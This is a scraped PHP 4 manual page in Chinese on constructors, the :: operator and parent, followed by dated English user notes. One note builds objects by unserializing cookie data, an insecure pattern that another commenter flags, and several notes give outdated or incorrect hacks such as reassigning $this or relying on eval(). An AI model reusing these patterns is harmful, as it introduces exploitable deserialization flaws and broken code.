herojoker at nexgo dot de
28-Feb-2005 11:28
Hi!

If you want to call the parent's constructor without knowing its name, just call

$this->{get_parent_class(__CLASS__)}($arg1, $arg2, ...);

Have fun with that.
Hero Wanders
john dot q dot webmaster at gmail dot com
25-Jan-2005 09:55
When testing the final example, I'm getting conflicting results with what the manual says.
-----
In PHP 3, the function B() in class A will suddenly become a constructor in class B, although it was never intended to be....

This is fixed in PHP 4 by modifying the rule to: 'A constructor is a function of the same name as the class it is being defined in.'. Thus in PHP 4, the class B would have no constructor function of its own and the constructor of the base class would have been called, printing 'I am the constructor of A.<br />'.
-----

I've just tested this on two systems, PHP (module) 4.3.7 and (CGI) 4.3.10.  BOTH of them print out the contents of B() when creating a new object of B.  This is contrary to the manual, which says this should only happen in PHP 3.

However, when testing the second to last example (where B() has no constructor), the behavior indicated for PHP 4 DOES happen; a constructor is called for 'new B', and it prints "I am the constructor of A.<br />".

What's happening here?
arjini at gmail dot com
24-Dec-2004 12:02
This wasn't apparent in the docs above (wording maybe?)

class A{
   function A(){
       echo 'A\'s constructor has been called.';
   }
}

class B {function C(){}}

$instance = new B();

//output: A's constructor has been called.
zax AT email DOT cz
03-Sep-2004 05:43
to: steffen-staehle at NO dot SPAM dot gmx dot de

I got an error by
$this=NULL

(Fatal error: Cannot re-assign $this ...),

you should use
unset($this)
instead, that works
23-Jun-2004 06:48
This is for Ivan...
If this is the case then what is the case of the constructors of the child class being defined in the parent class...
they also get called implicitly on anyinstance of the child class
31-Mar-2004 10:50
to propagate the call to constructors, here is a good method :

class B extends A
{
   var $var2;

   function B ($arg)
   {
       parent::A();  // Invoke the constructor of the parent.
   }

}
steffen-staehle at NO dot SPAM dot gmx dot de
02-Dec-2003 01:07
[in reply to ogarbe's comment (01-Apr-2003)]

Any object evaluation as boolean of the kind

<?
   if ($a = new A())
   {
     // success, use $a ...
   }
?>

is dangerous. Whether an object evaluates as true or false seems to depend on its internal structure (I've tested on a rather oldish version of php (4.2.1), though, so this might have changed!). Even a successfully created object might evaluate as false. Compare the two classes:

<?
class TestBool1
{
   var $somevar = 'hello world';

   function TestBool1()
   {
     echo "1 somevar is: $this->somevar<p>";

   } // constructor

} // TestBool

if ($obj = new TestBool1())
   echo 'obj is valid<p>';
else
   echo 'obj is invalid<p>';

class TestBool2
{
   function TestBool2($somevar)
   {
     echo "2 somevar is: $somevar<p>";

   } // constructor

} // TestBool

if ($obj = new TestBool2('hello world'))
   echo 'obj is valid<p>';
else
   echo 'obj is invalid<p>';

?>

The output is:

1 somevar is: hello world
obj is valid

2 somevar is: hello world
obj is invalid

Case '2' is NOT what you would expect.

So at least you should use another comparison:

<?
class TestBool3
{
   function TestBool3($somevar)
   {
     echo "3 somevar is: $somevar<p>";
     // assume error
     $this = NULL;

   } // constructor

} // TestBool

if (($obj = new TestBool3('hello world')) !== NULL)
   echo 'obj is valid<p>';
else
   echo 'obj is invalid<p>';
?>

This evaluates correctly and prints:

3 somevar is: hello world
obj is invalid

But Markus 16-Sep-2003 says assigning NULL to $this did not work any more with php 4.3.3. So what it boils down to: I still prefer the solution I have sketched below (steffen 17-Jan-2003).
20-Sep-2003 07:08
Adding to the last post...

If u DON'T WANT to override the parent creator just put

<?
// ...
   function On_Create() {
       parent::On_Create();
       // Some code
   }
//...
?>

It will calls the parent creator and u can extend how many classes do you even want to...
pigmeu at pigmeu dot net
20-Sep-2003 06:30
To workaround the problem that some people are having on multiple creator (or sub creators or whatever)...

Its just to use an event! Yes... U can emulate an event (like the inprize people do)

Here it goes:

<?

//This is the "generic" class... All other classes may extends from it...
class TObject {

   function On_Create() { }

   function TObject() {
       $this->On_Create();
   }
}

class TExtendedObject extends TObject {
   var $name;

   function On_Create() {
       $this->name = "Test";
   }
}

$t_class = new TExtendedObject;
echo $t_class->name;
/* output
Test
*/
?>

Nice... Isn't it?
markus at emedia-solutions-wolf dot de
16-Sep-2003 06:00
Setting $this to null isn't available in PHP 4.3.3R3 anymore. Maybe in version below also.
johan_php at popbandetleif dot cjb dot net
06-Apr-2003 08:31
/**
  * Example Class for getting around the problem with
  * overloaded functions constructors.
  *
  * This exapmple are asuming that you want to overload
  * the constructor Object() with different arguments.
  */
class Object {

  /**
   * The real constuctor for this class.
   *
   * NOTE: Parlameter may not have the value null
   *      unless you changes the default value in
   *      the constructor.
   */
  function Object($param1 = null, $param2 = null) {
   $numargs = func_num_args();
   $arg_list = func_get_args();
   $args = "";
   for ($i = 0; $i < $numargs && $arg_list[$i] != null; $i++) {
     if ($i != 0) {
       $args .= ", ";
     }

     $args .= "\$param" . ($i + 1);
   }

   // Call constructor function
   eval("\$this->constructor" . $i . "(" . $args . ");");
  }

  /**
   * Functiorn that will be called if constructor is called
   * with no parlameter as agument.
   */
  function constructor0() {
   echo("Constructor 1: No parlameter." . "\n");
  }

  /**
   * Functiorn that will be called if constructor is called
   * with one parlameter as agument.
   */
  function constructor1($param) {
   echo("Constructor 2: \$param=" . $param . "\n");
  }

  /**
   * Functiorn that will be called if constructor is called
   * with two parlameter as agument.
   */
  function constructor2($param1, $param2) {
   echo("Constructor 3: \$param1=" . $param1 . "\n");
   echo("Constructor 3: \$param2=" . $param2 . "\n");
  }
}

new Object();
new Object("A String value");
new Object("Another String...", 1);

// Output:
Constructor 1: No parlameter.

Constructor 2: $param=A String value

Constructor 3: $param1=Another String...
Constructor 3: $param2=1
johan_php at popbandetleif dot cjb dot net
04-Apr-2003 04:39
As far as I understand php has a strange way of handeling over loaded contructors - only the last defined will be used.

e.g.

class Cl {
  function Cl($a, $b) {
   echo("B ");
  }

  function Cl($a) {
   echo("A ");
  }
}

new Cl(1);
new Cl(1, 2);

// Out puts:
// B B

// And at the contrary:
class Cl {
  function Cl($a, $b) {
   echo("B ");
  }

  function Cl($a) {
   echo("A ");
  }
}

new Cl(1);
new Cl(1, 2);

// Out puts:
// Warning: Missing argument 2 for cl() ...
ogarbe at tf1 dot fr
02-Apr-2003 03:01
to steffen staehle

If you want your constructor to possibly not create the object

class A
{
  function A()
  {
     // ...
     // some error occurred
     $this = null;
     return;
  }
}

if ($a = new A())
{
  // success, use $a ...
}
steffen staehle
18-Jan-2003 12:11
A note on a constructor's return value:

When creating an instance of a class, 'new' obviously returns the object, not the constructor's return value (if any).

Still, it might be tempting to communicate the success or failure of constructing the object via a return value:

class A
{
   function A()
   {
       // ...
       // some error occurred
       return FALSE;
   }
}

if ($a = new A())
{
   // success, use $a ...
}

THIS WILL NOT WORK the way intended.
'new' returns the object, the assignment returns the value of the assignment, i.e. the object, and whether an object evaluates as TRUE does not depend on the constructor's return value.

My preferred solution - set some object property during the construction phase that you can check against explicitely.
ianyates at yahoo dot com
15-Jan-2003 01:32
Although not very good practice, I had a use for it.

In PHP you can destroy an object using unset(object instance) from outside of the object, but I needed to destroy the object from within.
After much experimentation, I simply set $this to null within a function inside the object.
This had the desired affect of removing the object from memory.
Note that unsetting $this does not have the same affect.

It would be better practice to set a variable within the object when it needed to be destroyed and then pick this up externally to mark the object as destroyed.

Hope this helps someone.
dmarsh dot NO dot SPAM dot PLEASE at spscc dot ctc dot edu
19-Sep-2002 02:40
Manual Destructor Example Code:

class MyObject()

  var $x;

  function MyObject() {
   $x=array();
   register_shutdown_function(array(&$this, "UnMyObject"));
  }

  [...]

  function UnMyObject() {
   unset($this->$x); // not needed but used to demonstrate the register_shutdown_function
  }

}
eric+nospam at ypass dot net
05-May-2002 04:59
This works in PHP 4.1.2 and probably versions > 4.x.

Creating an object from a constructor of a different class type can be accomplished.

Note that you can NOT return an object from a constructor.  A constructor can never return a value.  However, you can set the value of $this to acheive this.

For example:
<?
class A
{
  function A()
  {
   $this = new B();
  }
}

class B
{
  function iamab()
  {
   echo "i am an object of class B";
  }
}

$a = new A();
echo '$a is a ' . get_class($a) . "\n";
$a->iamab()
?>

would print out:

$a is a b
i am an object of class B
13-Dec-2001 03:38
A couple of comments :
<<If a class has no constructor, the constructor of the base
class is being called, if it exists.>>

Actually the constructor of the base class is NOT called.
The child class inherits TWO copies of the father constructor,
one named after the father, one named after the child.
(other methods are also inherited by copy, as stated in the manual!)

The copied method named after the child is being called. For
most purposes this is the same, but beware of static variables.

class bar{
function bar($var = null){
static $methodname = "bar::bar";
if(isset($var)) $methodname = $var;
else echo "$methodname <b"."r>";
}
}

class foo extends bar{
function printMethods(){
bar::bar();
foo::bar();
foo::foo();
}
}

foo::printMethods(); // prints 3 bar::bar
foo::foo('foo::foo');
foo::bar('foo::bar');
foo::printMethods(); // prints bar::bar,foo::bar,foo::foo

$foo = new foo; // prints foo::foo
$bar = new bar; // prints bar::bar

Ivan
add a note add a note

后退 | 起点 | 前进
继承 | 上一级 | 作用域分辨运算符（::）


作用域分辨运算符（::）

注意

下列内容仅在 PHP 4 及以后版本中有效。

有时，在没有声明任何实例的情况下访问类中的函数或者基类中的函数和变量很有用处。而 :: 运算符即用于此情况。

<?php
class A {
    function example() {
        echo "I am the original function A::example().<br />\n";
    }
}

class B extends A {
    function example() {
        echo "I am the redefined function B::example().<br />\n";
        A::example();
    }
}

// A 类没有对象，这将输出
//   I am the original function A::example().<br />
A::example();

// 建立一个 B 类的对象
$b = new B;

// 这将输出
//   I am the redefined function B::example().<br />
//   I am the original function A::example().<br />
$b->example();
?>

上面的例子调用了 A 类的函数 example()，但是这里并不存在 A
类的对象，因此不能这样用 $a->example() 或者类似的方法调用
example()。反而我们将 example()
作为一个类函数来调用，也就是说，作为一个类自身的函数来调用，而不是这个类的任何对象。

这里有类函数，但没有类的变量。实际上，在调用函数时完全没有任何对象。因而一个类的函数可以不使用任何对象（但可以使用局部或者全局变量），并且可以根本不使用 $this 变量。

上面的例子中，类 B 重新定义了函数 example()。A
类中原始定义的函数 example()
将被屏蔽并且不再生效，除非使用 ::
运算符来访问 A 类中的 example() 函数。如：A::example()（实际上，应该写为
parent::example()，下一章介绍该内容）。

就此而论，对于当前对象，它可能有对象变量。因此可以在对象函数的内部使用 $this 和对象变量。

add a note add a note User Contributed Notes
rudy at sandbenders dot ca
15-Nov-2005 02:20
my last note is actually not 100% correct... as it is, trying to return a reference to an element of the class variables array won't work, even though the classVars function is declared as (possibly) returning a reference... the correct way to return a reference to one of your class variables would be

<?php

class theClass {
   ...
   function &classVars($name = NULL, ...) {
       static $myClassVars;
       ...
       $myRef =& $myClassVars[$name];

       return($myRef);
   }
}

?>

which works as expected when you're looking for a reference. This should only be necessary when you're trying to return a reference to a piece of the array as opposed to the whole array itself. Simply doing this

<?php

return($myClassVars);

?>

works as expected, ie: you can get a reference to the whole array without needing to explicitly create a reference to it before returning.
rudy at sandbenders dot ca
14-Nov-2005 02:05
Since re-posting a simplified version of the peterjoel.com solution to class variables in php4 was kinda lame, here's the modified solution to give you one function (per class) that allows you to use any number of 'class' variables...

<?php

class theClass {
   function &classVars($name = NULL, $value = NULL) {  // The classVars function is (possibly) returning a reference...
       static $myClassVars;  // Define a static var to hold our 'class' vars...

       if (!is_array($myClassVars)) {  // Initialize the array if it isn't already...
           $myClassVars = array();
       }

       if (!is_null($name) && !is_null($value)) {  // If we got two arguments, set the class var that was passed...
           $myClassVars[$name] = $value;
       }

       if (!is_null($name)) {  // If we got one argument, return the var it's referring to...
           return($myClassVars[$name]);
       } else {
           return(NULL);
       }
   }
}

// Setting class variables...

theClass::classVars("varOne", "valueOne");
theClass::classVars("varTwo", "valueTwo");

// Getting class variables...

$myRef = &theClass::classVars("varOne");
echo theClass::classVars("varTwo");

?>

You should be able to store anything in your class vars this way, and depending on how you call the function, you can have either a copy or a reference to the class var returned (see manual on 'returning by reference'...) Again, hope this helps someone...
rudy at sandbenders dot ca
14-Nov-2005 01:40
'emulating' class variables in php4... peter at textstore dot c() dot il  put me on the right track... I came up with the following and then before posting this realized that peterjoel.com has already posted almost the exact same thing... anyways, this is a little simpler and only involves one function instead of a getter/setter pair...

class myClass {
   function &myVar($arg = NULL) {
       static $myClassVar;
       if (!is_null($arg)) {
           $myClassVar = $arg;
       }
       return($myClassVar);
   }
}

// Setting the 'class' var...

myClass::myVar($myNewClassVar);

// Getting the 'class' var...

$classVarRef = &myClass::myVar();

This should let you set up 'class' vars that will hold anything you can reference... with a little creative array usage, you could modify this to allow any number of class vars without having to write the same above function for each one... hope someone finds it useful...
JDS <jeff at newtnotes dot com>
31-Aug-2005 10:10
Using an anonymous class instance via the scope resolution operator does not appear to call the constructor method of the class.  Thus, any "stuff" set up within a constructor method (the method called when creating a new instance of a class) will not get set up using anonymous classes.

So for example something like this

<?php
Class A{
   var $thing;
   function A(
       $this->thing = "hello";
   )
   function get ($var){
       return $this->$var;
   }
}

echo A::get('thing');
?>

will not print anything as A::thing does not get "set up" outside of the constructor.

You would have to create an instance of class A to get any value for A::thing.

For example:
<?php
$a = new A();
echo $a->get('thing');
?>
(prints "hello")

This is based on my observations and not from any official documentation.  I may be wrong about the details.
evert at collab dot nl
29-Aug-2005 04:21
A note to RichardBronosky's suggestion:

This is a very insecure method, never unserialize user data because they might be able upload a totally different class.
They can only specify properties, not methods but if they can research your code they might be able to do uninteded stuff or create a XSS attack.

So only unserialize user-data when you are in a controlled safe enviroment.

Evert
RichardBronosky (firstname at lastname dot com)
10-May-2005 05:33
In reply to tim dot ward at stivesdirect dot com:
I had a need to to do a very similar thing.  I wrote a class that will be used to create an object which can serialize itself into a cookie and be used to recover itself from the cookie later.  To do the recovery you must use the Scope Resolution Operator (::) to call a function as a class function (vs. and object function).  The recovery is very simple to initiate because there is only one line of code to call (e.g. $the_object = the_class::the_function(); )  But the function you call must do a ton of stuff, and call a few other functions within the class.  This is where the problem lies.

I would like to thank <brooke at jump dot net>, <pollita at php dot net>, and <MagicalTux at FF.ST> (from http://php.net/manual/en/function.get-class.php) for leading me to the solution.

<?php
class foo
{
   function get_object_from_cookie(...)
   {
     ...
     return unserialize($decrypted_cookie_data);
   }
   function recover_from_cookie()
   {
     ...prepare to recover...
     // The next line is the tricky part.
     $o = call_user_func(array(__CLASS__, 'get_object_from_cookie'), $encryption_secret, $cookie_name);
     $temp = $o->get_stuff();
     $o->other_stuff = $o->do_calculate($temp);
     $o->do_complicated_things();
     return $o;
   }
}
$bar = foo::recover_from_cookie();
...
?>

I hope that saves someone an hour.  It sure would have saved me one.
mark at branly dot com
08-Mar-2005 06:53
I didn't see where this issue was addressed so in regards to this post:

\\-------\\//-------//
when using "::" operator inside class functions, you can achieve quite interesting results. let's take this example:

  class cCat {
   function Miew(){
     // cCat does not have a member "kind", but cDog has, and we'll use it
     echo "I am ".$this->kind.", and I say MIEW\n";

     // here things are even stranger: does cCat class
     // support WhoAmI function? guess again...
     $this->WhoAmI();
   }
  }

  class cDog {
   var $kind = "DOG";
   function Bark(){
       // let's make this dog act like a cat:)
       cCat::Miew();
   }

   function WhoAmI(){
     echo "Yes, I'm really ".$this->kind."!";
   }
  }

  $dog = new cDog();
  echo $dog->Bark();

outputs:
I am DOG, and I say MIEW
Yes, I'm really DOG!

The interesting thing here is that cDog is not descendant of cCat nor vice versa, but cCat was able to use cDog member variable and function. When calling cCat::Miew() function, your $this variable is passed to that function, remaining cDog instance!

It looks like PHP doesn't check if some class is an ancestor of the class, calling function via '::'.

//------//\\--------\\

The problem here is not that PHP is not checking ancestry. The problem is that "$this" refers to the calling object $dog even though it is referenced inside the cCat class definition. Since a cCat is never instantiated, $this has not been scoped to it.

To further illustrate the point, if you never instatiate dog (or any object for that matter), $this will never be set and when you statically call the miew function, you will get the following output:

"I am , and I say MIEW"

This flexibility of member handling, PHP does not afford to methods and as such the second line of the miew function will generate a fatal error reporting that the method has been called from a non object.

If you did want to take it one step further in the whole ancestry guessing issue, try instatiating cCat and calling the miew function. You will get the same result as above *EXCEPT* the fatal error will inform you the function has not been defined.

So, there you have it--PHP DOES NOT guess at inheritance.
mark@thedarkside
25-Feb-2005 07:04
Carrying on from the previous note, it is possible to call a member function statically using a variable for the name of the class, i.e.:

<?php
class MyObject {
   function myfunc() {
     return "Hello! ($this)";  // '$this' to determine whether it is being called statically
   }
}

$type = "MyObject";
$object = new $type();

$message = $object->myfunc();
$message = MyObject->myfunc();
$message = call_user_func(array(&$type, "myfunc"));

O.K., so it's not using the scope resolution operator, but it does what you want... it calls 'myfunc' statically from the class named by $type.
Tom Wiltshire
24-Feb-2005 08:33
It's worth noting that you can't use a variable with this operator.
The following is legal:

   class MyObject {
       function myfunc() {
           return "Hello!";
       }
   }
   $type = "MyObject";
   $object = new $type();
   $message = $object->myfunc();

(Puts "hello" in $message)

You can also use the scope operator:

   $message = MyObject::myfunc();

However, the following is NOT legal:

   $message = $type::myfunc();

It's a pity, 'cos right now I've got a situation where it'd be really handy, but that's the way it goes!
stefano at obliquid dot it
08-Jul-2004 08:22
peter has a good point to suggest the use of static function variables instead of static class variables that PHP 4 does not support.

Unfortunately, also the first sentence of the manual is misleading "... refer to functions and variables in base classes or to refer to functions in classes that have not yet any instances. The :: operator is being used for this.".

You cannot use the :: operator on class variables since there are no static class variables. I lost some time trying to refer to class variable with this operator, so I think it may be useful to post a warning.

http://dev.obliquid.com
tango23 at inbox dot lv
06-May-2004 10:20
>> That's how to make class' static variable in PHP4.

Note, that nobody seems to have a way of actually making a global static server-wide object in PHP.

All the static/class var ways above work only within a single PHP page.

If you want to do something like:

class Logger
{
   ...
   function Logger($filepath)
   ...
}

in some global include file:
$logobj = new Logger("mylogfile");

and then in all of your pages:

$logobj->log("my message");

and there is no way you can make this logobj static (such that all your pages can refer to without making unncecessary copies).

Can't be done with using uninstantiated Logger::log() funcs either, because you are not setting the logfile filepath parameter anywhere persistent.

The only kludge seems to be to use the filepath as a global variable and use Logger:: syntax.
altherac at yahoo dot fr
15-Mar-2004 06:28
Using a class function is a good way to write a Singleton pattern in php 4 using a static variable.

The sample code below shows the pattern in action :

<?
   class Singleton
   {
       var $_info = null;

       function Singleton() {
           $this->_info = 'Original value';
       }

       function getInfo() {
           return $this->_info;
       }

       function setInfo($info) {
           $this->_info = $info;
       }

       function &getInstance() {
           static $instance = null;

           if (is_null($instance)) {
               $instance = new Singleton();
           }
           return $instance;
       }
   }

   $a = & Singleton::getInstance();
   $b = & Singleton::getInstance();
   $a->setInfo('Hi, my name is A');
   echo $b->getInfo();

?>

I have seen some Singleton pattern implementations that were using an external function to instanciate the object, but I don't think it is the best way to implement the pattern.

You may want to force the getInstance() function to be called in a static way with the :: operator by testing if $this is set and raising an error or returning a null value (depending on your design).
Rami Kayyali (rami at bluecubex dot com)
08-Nov-2003 12:20
Regarding the note by "gk at proliberty dot com". No, eval() isn't superior to call_user_func(), eval() has security issues and performance overhead.
To achieve the same results using your example with call_user_func, simply pass $this_class by reference. This is probably because call_user_func is passing a copy of $this_class.

<?php

function init(&$this_class, $current_class, $params= NULL ){
   $this_class->classFiles[] = __FILE__;

   $parent_class=get_parent_class($current_class);
   if( !empty($parent_class)){
       // call_user_func() NOW DOES CORRECTLY UPDATE $this_class->classFiles :)
       call_user_func(array($parent_class,'init'),
       &$this_class,$parent_class,$params);
   }

} // init()

?>

But please note, call-time pass-by-reference has been deprecared, or at least, PHP 4.3.2 says so.

Conclusion: Minimize using eval as much as possible, many projects had major security issues because they were using eval().
brooke at jump dot net
07-Nov-2003 07:27
Someone mentioned that eval was better than call_user_func because the latter would not result in updates to the objects. I'm not sure this is the right place for such a debate, but if it is, then the right way is:

call_user_func(array(&this, $method), $arg1, $arg2);

You put a reference to (instead of a copy of) this in the array which you pass on.
wikiz at studentas dot lt
15-Jun-2003 08:40
when using "::" operator inside class functions, you can achieve quite interesting results. let's take this example:

  class cCat {
   function Miew(){
     // cCat does not have a member "kind", but cDog has, and we'll use it
     echo "I am ".$this->kind.", and I say MIEW\n";

     // here things are even stranger: does cCat class
     // support WhoAmI function? guess again...
     $this->WhoAmI();
   }
  }

  class cDog {
   var $kind = "DOG";
   function Bark(){
       // let's make this dog act like a cat:)
       cCat::Miew();
   }

   function WhoAmI(){
     echo "Yes, I'm really ".$this->kind."!";
   }
  }

  $dog = new cDog();
  echo $dog->Bark();

outputs:
I am DOG, and I say MIEW
Yes, I'm really DOG!

The interesting thing here is that cDog is not descendant of cCat nor vice versa, but cCat was able to use cDog member variable and function. When calling cCat::Miew() function, your $this variable is passed to that function, remaining cDog instance!

It looks like PHP doesn't check if some class is an ancestor of the class, calling function via '::'.
gk at proliberty dot com
29-May-2003 09:33
Contrary to the comment above, I have found that call_user_func()
is inferior to eval() because call_user_func() does not correctly
update objects passed by reference.

In the example below, each of my subclasses calls init(), passing
a reference to the current object, whose class variables are
initialized by classes in the hierarchy. The class variable
$this->classFiles contains the paths of each file for classes in
the hierarchy. It is not updated correctly using call_user_func()
but eval() works fine.

<?php
///////////////////////////////////////////////////////
/*
  xobj( );
   constructor
   SUBCLASSES MUST NOT have any constructors
*/
/////////////////////////////////////////////////////////
function xobj( $params= NULL ){

   $current_class=get_class($this);
   $this->init($this, $current_class, $params);
   // $this->classFiles[0] is the file containing the final subclass
   $this->classFile=$this->classFiles[0];
   print_r($this->classFiles); exit;
   $this->_init($params);
}

///////////////////////////////////////////////////////
/*
  void init(&$this_class, $current_class, $params= NULL );
   initialization
   this class MUST be overridden to set $this->classFiles correctly:
   initialization requires __FILE__ to get the path of every class file
*/
/////////////////////////////////////////////////////////
function init(&$this_class, $current_class, $params= NULL ){
   $this_class->classFiles[] = __FILE__;

   $parent_class=get_parent_class($current_class);
   if( !empty($parent_class)){
       eval("$parent_class::init(\$this_class, \$parent_class, \$params);");
       // call_user_func() DOES NOT CORRECTLY UPDATE $this_class->classFiles:
       //call_user_func(array($parent_class,'init'),
$this_class,$parent_class,$params);
   }

} // init()

?>

RESULT, using eval():
Array
(
   [0] => /usr/local/apache/htdocs/common/php/xobj/xobj_subclass.php
   [1] => /usr/local/apache/htdocs/common/php/xobj/xobj.php
)

RESULT, using call_user_func():
Array
(
   [0] => /usr/local/apache/htdocs/common/php/xobj/xobj_subclass.php
)
pollita at php dot net
29-Dec-2002 11:47
While the method described by robinv at ecosse dot net to call a method of an arbitrarily named function will work:

eval("$classname::$methodname(\$param1,\$param2);");

There is another way to do so without using eval():

call_user_func(array($classname,$methodname),$param1,$param2);

This will do the same thing without the performance hit of eval and without the added security concerns.
peterjoel.com
18-Nov-2002 12:12
You can implement a getter/setter pair to emulate a class variable. The syntax isn't so weird:

<?

class A{
   function getVar($val=NULL){
       static $class_variable = 0;
       if($val != NULL){
           $class_variable = $val;
       }
       return $class_variable;
   }
   function setVar($val=0){
       return A::getVar($val);
   }
}

A::setVar(3);
print A::getVar();

?>
frederik at spam pandora dot be
14-Nov-2002 06:46
My approach to using class constants is by making them functions.
Instead of

$var CONSTANT = 1;

I use

function CONSTANT { return 1; }

Now, when using this:

$i = ConstantClass::CONSTANT();

You can do anything with it: comparing, addition, multiplication. The syntax is a bit weird, but it works perfectly.
pierrick at hydromel_no_spam_ dot net
25-Sep-2002 02:39
It's possible to access class member variables:

class Test {
   var $vA = "hello world";
}

$class_var = get_class_vars(Test);
echo $class_var["vA"];

It's sound to be an ellegant way to acces them, no ? ;)
steven at caltech dot co dot uk
28-Aug-2002 09:50
Re: jdominic@prodigy.net 08-Aug-2002 05:49

While it would be nice to have static instance variables you can simply create a method with the same name which returns the value you require. This means you don't have to instantiate an object when you only need its static content. For example:

class Colour {

     function default () { return "black"; }
}

var $backgroundColour = Colour::default ();
jdominic at prodigy dot net
09-Aug-2002 03:49
According to the documentation, there is no way to have a class variable, only class functions. There should be class variables, because there's no way to implement CONSTANTS. Something like this won't work:

<?
       class Employee {

       var $ACTIVE_EMPLOYEE = 1;

       //etc..
       }

       echo Employee::ACTIVE_EMPLOYEE;

       //Also tryed:

       echo Employee::$ACTIVE_EMPLOYEE

?>

returns:
Parse error: parse error, unexpected ';', expecting '(' in /home/x/public_html/Test.php on line 9

It forces you to create an instance of the class:

$emp = new Employee();
echo $emp->ACTIVE_EMPLOYEE;
carl at thep.lu.se
14-Mar-2002 01:20
Note that if you have two classes, 'foo' and 'bar', and a function in foo called with $instance_of_foo->func() calls bar::func2(), $this will be defined in func2, and it will point at an object of class foo. In fact, you can redefine $this to point to an object of any class before calling bar::func2() to have $this to be a reference to that object. This means that you can't have functions that can be called either as static (::) or member(->), since you won't be able to tell the difference. This is a quite unfortunate consequence of the combination of references not containing any type information and it not being possible to call an explicitly chosen base class member function (that is, if x extends y there's no clean way to call y::f() on an object of class x (The unclean way is to assign $this to $instance_of_x, call y::f(), and reset $this to its old value.)).
tim dot ward at stivesdirect dot com
24-Aug-2001 09:34
If you call a function in this way then you need to be aware that internal class references will not work (presumably as there isn't an instance for $this to refer to)

e.g.
>Class fred
>{    function fred()
>      {    $this->fred2();
>      }
>      function fred2()
>      {    echo("hello world");
>      }
>}
>fred::fred();

... will cause a
"Fatal error: Call to a member function on a non-object in ..."

This took me ages to work out
peter at textstore dot c() dot il
29-Jul-2001 07:38
And now, encapsulated in constructor. Isn't it nice? Ye, and it WILL work when  more objects of class are serialized & unserialized ONLY when serialized in array / hash by one serialize() call - as serialize() should be used. However, when unserialized, it doesn't affect actual instances' "static" variable - thus, there will be 2 or more static variables after unserialization... but you can still change __wakeup() and to access "real"(actual) class' static value's reference, thus you have to use special function for every static value, as in example above... Ye, PHP is good!@

<?
  class O {

   function O() {
       static $statValue=0;
       $this->statValue= &$statValue;
   }
  }

  $o1= &new O;
  $o2= &new O;

  echo "\$o1: ".$o1->statValue."<br>";
  echo "\$o2: ".$o2->statValue."<br>";

  $o1->statValue= 5;
  $o2->statValue= 10;

  echo "\$o1: ".$o1->statValue."<br>";
  echo "\$o2: ".$o2->statValue."<br>";
?>
peter at textstore dot c() dot il
29-Jul-2001 07:10
That's how to make class' static variable in PHP4. That means reference returned by function value() is the same for all instances of class O, thus they can share common data. This reference is common just for instances on same PHP page, of course.

<?  class O {
   function &value() {
     static $val=0;
     return $val;
   }
  }

  $o1= &new O;
  $o2= &new O;

  echo "\$o1: ".$o1->value()."<b"."r>";
  echo "\$o2: ".$o2->value()."<b"."r>";

  $ref1= &$o1->value();
  $ref1= 5;

  $ref2= &$o2->value();
  $ref2= 10;

  echo "\$o1: ".$o1->value()."<b"."r>";
  echo "\$o2: ".$o2->value()."<b"."r>";
?>
add a note add a note

后退 | 起点 | 前进
构造函数 | 上一级 | parent


parent

用户可能会发现自己写的代码访问了基类的变量和函数。如果派生类非常精炼或者基类非常专业化的时候尤其是这样。

不要用代码中基类文字上的名字，应该用特殊的名字 parent，它指的就是派生类在 extends 声明中所指的基类的名字。这样做可以避免在多个地方使用基类的名字。如果继承树在实现的过程中要修改，只要简单地修改类中 extends 声明的部分。

<?php
class A {
    function example() {
        echo "I am A::example() and provide basic functionality.<br />\n";
    }
}

class B extends A {
    function example() {
        echo "I am B::example() and provide additional functionality.<br />\n";
        parent::example();
    }
}

$b = new B;

// 这将调用 B::example()，而它会去调用 A::example()。
$b->example();
?>

add a note add a note User Contributed Notes
KOmaSHOOTER at gmx dot de
20-Dec-2004 09:59
An example for using a memberfunction with another memberfunction.

The sequencing for the creating of the class is important.

<?php
class A
{
   function example()
   {
       echo "I am A::example() and provide basic functionality.<br>\n";
   }
}

class B extends A
{
   function example()
   {
       echo "I am B::example() and provide additional functionality.<br>\n";
       parent::example();
   }
}

class C extends A
{

   function example()
   {
         global $b;
       echo "I am c::example() and provide additional functionality.<br>\n";
       parent::example();
       $b->example();
   }
}
$b = new B();
$c = new C();
$c->example();
;?>

Result:

I am c::example() and provide additional functionality.
I am A::example() and provide basic functionality.
I am B::example() and provide additional functionality.
I am A::example() and provide basic functionality.
28-May-2004 01:40
About the constructors :

Yes, a good pratrice could be to use a method called by the real constructor. In PHP 5, constructor are unified with the special __construct method. So we could do :

<?php
class A {
   var $a = "null";
   function A() {
       $args = func_get_args();
       call_user_func_array(array(&$this, "__construct"), $args);
   }
   function __construct($a) {
       $this->a = $a;
       echo "A <br/>";
   }
}

class B extends A {
   var $b = "null";

   function __construct($a, $b) {
       $this->b = $b;
       echo "B <br/>";
       parent::__construct($a);
   }
   function display() {
       echo $this->a, " / ", $this->b, "<br/>";
   }
}

$b = new B("haha", "bobo");
$b->display();

?>

It will have the same behavior than standard php constructors, except that you can not pass arguments by reference.
andyfaeglasgowTAKE_ME_OUT at yahoo dot co dot uk
14-May-2004 11:15
re: referring to a parents variables

The documentation doesn't say anything about how one should refer to the variables of a parent class in a child class (maybe it's obvious but I thought I'd point it out anyway).

class Actress {
   var $bust;

   function Actress() {$this->bust = "32C";}
   function show() {echo "Bust: $this->bust...";}
}

class HollywoodActress extends Actress{
   var $attitude;

   function HollywoodActress () {
       $this->Actress();
       $this->attitude = "Fiery";
   }

   function show() {
       parent::show();
       echo "Attitude: $this->attitude";
   }

   function modify_bust() {
       $this->bust = "32DD";
   }
}

$girl_at_theatre = new Actress();
$girl_at_theatre->show();
//output: "Bust: 32C..."

$object_of_gossip = new HollywoodActress();
$object_of_gossip->modify_bust();
$object_of_gossip->show();
//output: "Bust: 32D:...Attidude: Fiery"
ckrack at i-z dot de
06-May-2004 12:39
Note that we can use $this in the parent's method like we might expect.
It will be used as the instance of the extended class.

<?php
class foo {
   var $x;
   function foofoo()
   {
       $this->x = "foofoo";
       return;
   }
}
class bar extends foo {
   // we have var $x; from the parent already here.
   function barbar()
   {
       parent::foofoo();
       echo $this->x;
   }
}
$b = new bar;
$b->barbar(); // prints: "foofoo"
?>
bitmore.co.kr
10-Feb-2004 05:13
/* Original */
/*
class A {
   var $x;
   function A() { $this->x = 32; }
   function joke() { print "A::joke" . A::x . "<br>\n"; # SYNTAX ERROR!! }
}
class B extends A {
   var $x;
   function B() {
       parent::A();
       $this->x = 44;
   }
   function joke() {
       parent::joke();
       print "B::joke " . $this->x . "<br>\n";
   }
}
echo A::joke();
